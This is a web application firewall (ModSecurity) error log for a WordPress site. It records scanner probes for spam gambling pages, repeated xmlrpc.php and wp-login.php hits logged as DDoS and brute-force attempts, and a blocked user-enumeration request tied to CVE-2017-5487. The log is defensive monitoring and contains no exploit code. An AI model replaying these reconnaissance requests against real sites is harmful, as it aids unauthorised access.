[Tue Jan 27 16:10:54.031497 2026] [:error] [pid 7561:tid 7580] [client 51.161.86.195:41334] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aXhzDrXGI6mgvHQqkXyzzgAAANA"]
[Tue Jan 27 16:11:00.540041 2026] [:error] [pid 48445:tid 48461] [client 51.161.86.195:54012] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aXhzFBFh_QNUhZ0Hkze59wAAAYw"]
[Tue Jan 27 16:11:10.397069 2026] [:error] [pid 48631:tid 48636] [client 51.161.86.195:38052] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%20%E0%B9%80%E0%B8%A5%E0%B8%A2.aspx"] [unique_id "aXhzHiN5eesHzEogX0wf5QAAAkM"]
[Tue Jan 27 16:11:13.818791 2026] [:error] [pid 48631:tid 48633] [client 51.161.86.195:38054] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/u31%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20188.aspx"] [unique_id "aXhzISN5eesHzEogX0wf6wAAAkA"]
[Tue Jan 27 16:11:22.448792 2026] [:error] [pid 48446:tid 48489] [client 51.161.86.195:59642] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aXhzKsDRSaZ8F8aaLxlqGQAAAcw"]
[Tue Jan 27 16:11:27.446621 2026] [:error] [pid 48412:tid 48424] [client 51.161.86.195:35156] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aXhzL3bJMfAKlln88JHFfQAAAUo"]
[Tue Jan 27 16:11:31.462180 2026] [:error] [pid 48445:tid 48457] [client 51.161.86.195:35160] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa678.aspx"] [unique_id "aXhzMxFh_QNUhZ0Hkze6AwAAAYg"]
[Tue Jan 27 16:21:01.267392 2026] [:error] [pid 41780:tid 41788] [client 84.74.180.97:50288] [client 84.74.180.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.74.180.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXh1bVvu-XLQ0TaZ4FHwngAAAQY"]
[Tue Jan 27 16:24:05.806714 2026] [:error] [pid 48631:tid 48643] [client 45.133.5.61:28463] [client 45.133.5.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.61, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXh2JSN5eesHzEogX0wh1AAAAko"]
[Tue Jan 27 16:24:14.865156 2026] [:error] [pid 7453:tid 7506] [client 51.161.86.195:56280] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXh2LhfsyA2ws_ADquhtiAAAAFE"]
[Tue Jan 27 16:24:18.012539 2026] [:error] [pid 7561:tid 7581] [client 51.161.86.195:42238] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81.aspx"] [unique_id "aXh2MrXGI6mgvHQqkXy2rAAAANE"]
[Tue Jan 27 16:24:22.073498 2026] [:error] [pid 48662:tid 48671] [client 51.161.86.195:42246] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20chang123.io.aspx"] [unique_id "aXh2NuD8iESUP9uRiRPXQgAAAoM"]
[Tue Jan 27 16:24:24.317250 2026] [:error] [pid 48445:tid 48465] [client 51.161.86.195:42254] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%81%E0%B8%97%E0%B9%89.aspx"] [unique_id "aXh2OBFh_QNUhZ0Hkze75wAAAZA"]
[Tue Jan 27 16:24:27.296605 2026] [:error] [pid 48662:tid 48670] [client 51.161.86.195:54104] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87100%20%E0%B8%95%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B9%80%E0%B8%97%E0%B8%A8.aspx"] [unique_id "aXh2O-D8iESUP9uRiRPXSQAAAoI"]
[Tue Jan 27 16:24:29.666118 2026] [:error] [pid 48528:tid 48546] [client 51.161.86.195:54116] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%99%E0%B8%AD%E0%B8%81%20%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88%20%E0%B8%97%E0%B8%B5%E0%B9%88%20%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXh2PQOGRrquT9N7CZpYkgAAAhA"]
[Tue Jan 27 16:24:31.772985 2026] [:error] [pid 7453:tid 7502] [client 51.161.86.195:54122] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95888%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXh2PxfsyA2ws_ADquhtoQAAAE0"]
[Tue Jan 27 16:24:36.526328 2026] [:error] [pid 48662:tid 48684] [client 51.161.86.195:53510] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXh2ROD8iESUP9uRiRPXdAAAApA"]
[Tue Jan 27 16:24:40.830087 2026] [:error] [pid 41780:tid 41806] [client 51.161.86.195:53524] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg.aspx"] [unique_id "aXh2SFvu-XLQ0TaZ4FHxTwAAARg"]
[Tue Jan 27 16:24:43.384311 2026] [:error] [pid 7453:tid 7509] [client 51.161.86.195:53532] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXh2SxfsyA2ws_ADquhtpgAAAFQ"]
[Tue Jan 27 16:24:46.519191 2026] [:error] [pid 48528:tid 48533] [client 51.161.86.195:58636] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%97%E0%B8%B1%E0%B9%89%E0%B8%87%E0%B8%AB%E0%B8%A1%E0%B8%94.aspx"] [unique_id "aXh2TgOGRrquT9N7CZpYmwAAAgM"]
[Tue Jan 27 16:24:49.157404 2026] [:error] [pid 48412:tid 48437] [client 51.161.86.195:58646] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXh2UXbJMfAKlln88JHIZQAAAVc"]
[Tue Jan 27 16:24:52.823492 2026] [:error] [pid 48662:tid 48672] [client 51.161.86.195:58650] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXh2VOD8iESUP9uRiRPXfQAAAoQ"]
[Tue Jan 27 16:24:54.978007 2026] [:error] [pid 7561:tid 7566] [client 51.161.86.195:58664] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%81%E0%B8%88%E0%B8%81%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXh2VrXGI6mgvHQqkXy22gAAAMI"]
[Tue Jan 27 16:24:57.515695 2026] [:error] [pid 48445:tid 48452] [client 51.161.86.195:60760] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXh2WRFh_QNUhZ0Hkze8OAAAAYM"]
[Tue Jan 27 16:24:59.836159 2026] [:error] [pid 48631:tid 48655] [client 51.161.86.195:60764] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXh2WyN5eesHzEogX0wh_AAAAlY"]
[Tue Jan 27 16:25:02.760374 2026] [:error] [pid 7453:tid 7493] [client 51.161.86.195:60772] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sll%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXh2XhfsyA2ws_ADquht1AAAAEQ"]
[Tue Jan 27 16:25:04.784951 2026] [:error] [pid 41780:tid 41799] [client 51.161.86.195:60776] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aXh2YFvu-XLQ0TaZ4FHxZwAAARE"]
[Tue Jan 27 16:25:06.772749 2026] [:error] [pid 41780:tid 41805] [client 51.161.86.195:53264] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aXh2Ylvu-XLQ0TaZ4FHxagAAARc"]
[Tue Jan 27 16:25:08.614817 2026] [:error] [pid 48445:tid 48456] [client 51.161.86.195:53280] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%20%E0%B9%80%E0%B8%A5%E0%B8%A2.aspx"] [unique_id "aXh2ZBFh_QNUhZ0Hkze8SAAAAYc"]
[Tue Jan 27 16:25:10.813909 2026] [:error] [pid 48631:tid 48650] [client 51.161.86.195:53296] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/u31%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20188.aspx"] [unique_id "aXh2ZiN5eesHzEogX0wiAgAAAlE"]
[Tue Jan 27 17:02:04.740441 2026] [:error] [pid 48446:tid 48485] [client 52.2.159.67:37056] [client 52.2.159.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.2.159.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXh_DMDRSaZ8F8aaLxlzFAAAAcg"]
[Tue Jan 27 17:06:14.476047 2026] [:error] [pid 48445:tid 48459] [client 45.133.5.65:60235] [client 45.133.5.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.65, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXiABhFh_QNUhZ0HkzfA5gAAAYo"]
[Tue Jan 27 17:48:04.501944 2026] [:error] [pid 48662:tid 48675] [client 157.66.27.54:47506] [client 157.66.27.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXiJ1OD8iESUP9uRiRPhPwAAAoc"]
[Tue Jan 27 18:27:57.096250 2026] [:error] [pid 39017:tid 39049] [client 185.237.252.236:37990] [client 185.237.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.237.252.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXiTLc553xt-F_10bG6TPQAAAwE"]
[Tue Jan 27 18:38:24.140104 2026] [autoindex:error] [pid 48662:tid 48668] [client 134.122.11.22:53057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Jan 27 19:11:06.473113 2026] [:error] [pid 48412:tid 48434] [client 178.170.47.144:54760] [client 178.170.47.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.170.47.144, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXidSnbJMfAKlln88JHtcgAAAVQ"]
[Tue Jan 27 19:11:43.139770 2026] [:error] [pid 39017:tid 39064] [client 45.133.4.38:44291] [client 45.133.4.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.4.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXidb8553xt-F_10bG6Y-gAAAxA"]
[Tue Jan 27 19:11:43.140037 2026] [:error] [pid 7453:tid 7501] [client 45.133.4.13:24325] [client 45.133.4.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.4.13, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXidbxfsyA2ws_ADquiTkQAAAEw"]
[Tue Jan 27 19:51:31.633579 2026] [:error] [pid 7454:tid 7516] [client 45.133.4.14:46259] [client 45.133.4.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.4.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXimw5ltCoZEfMmfl8AZfAAAAIA"]
[Tue Jan 27 19:51:31.633562 2026] [:error] [pid 7453:tid 7505] [client 45.133.4.16:33895] [client 45.133.4.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.4.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXimwxfsyA2ws_ADquiZrAAAAFA"]
[Tue Jan 27 19:53:57.190250 2026] [:error] [pid 39017:tid 39062] [client 159.223.217.167:36680] [client 159.223.217.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.217.167, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXinVc553xt-F_10bG6esgAAAw4"]
[Tue Jan 27 20:32:56.102820 2026] [:error] [pid 7454:tid 7527] [client 45.133.4.33:55555] [client 45.133.4.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.4.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXiweJltCoZEfMmfl8AeSAAAAIs"]
[Tue Jan 27 20:32:56.103639 2026] [:error] [pid 7453:tid 7509] [client 45.133.4.38:43749] [client 45.133.4.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.4.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXiweBfsyA2ws_ADquiglwAAAFQ"]
[Tue Jan 27 20:45:28.410244 2026] [:error] [pid 48662:tid 48674] [client 35.231.230.3:55392] [client 35.231.230.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.230.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXizaOD8iESUP9uRiRPzjgAAAoY"]
[Tue Jan 27 20:45:32.189040 2026] [:error] [pid 48662:tid 48691] [client 35.231.230.3:55392] [client 35.231.230.3] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aXizbOD8iESUP9uRiRPzkwAAApY"]
[Tue Jan 27 20:45:34.104422 2026] [:error] [pid 48662:tid 48672] [client 35.231.230.3:55392] [client 35.231.230.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.230.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXizbuD8iESUP9uRiRPzlgAAAoQ"]
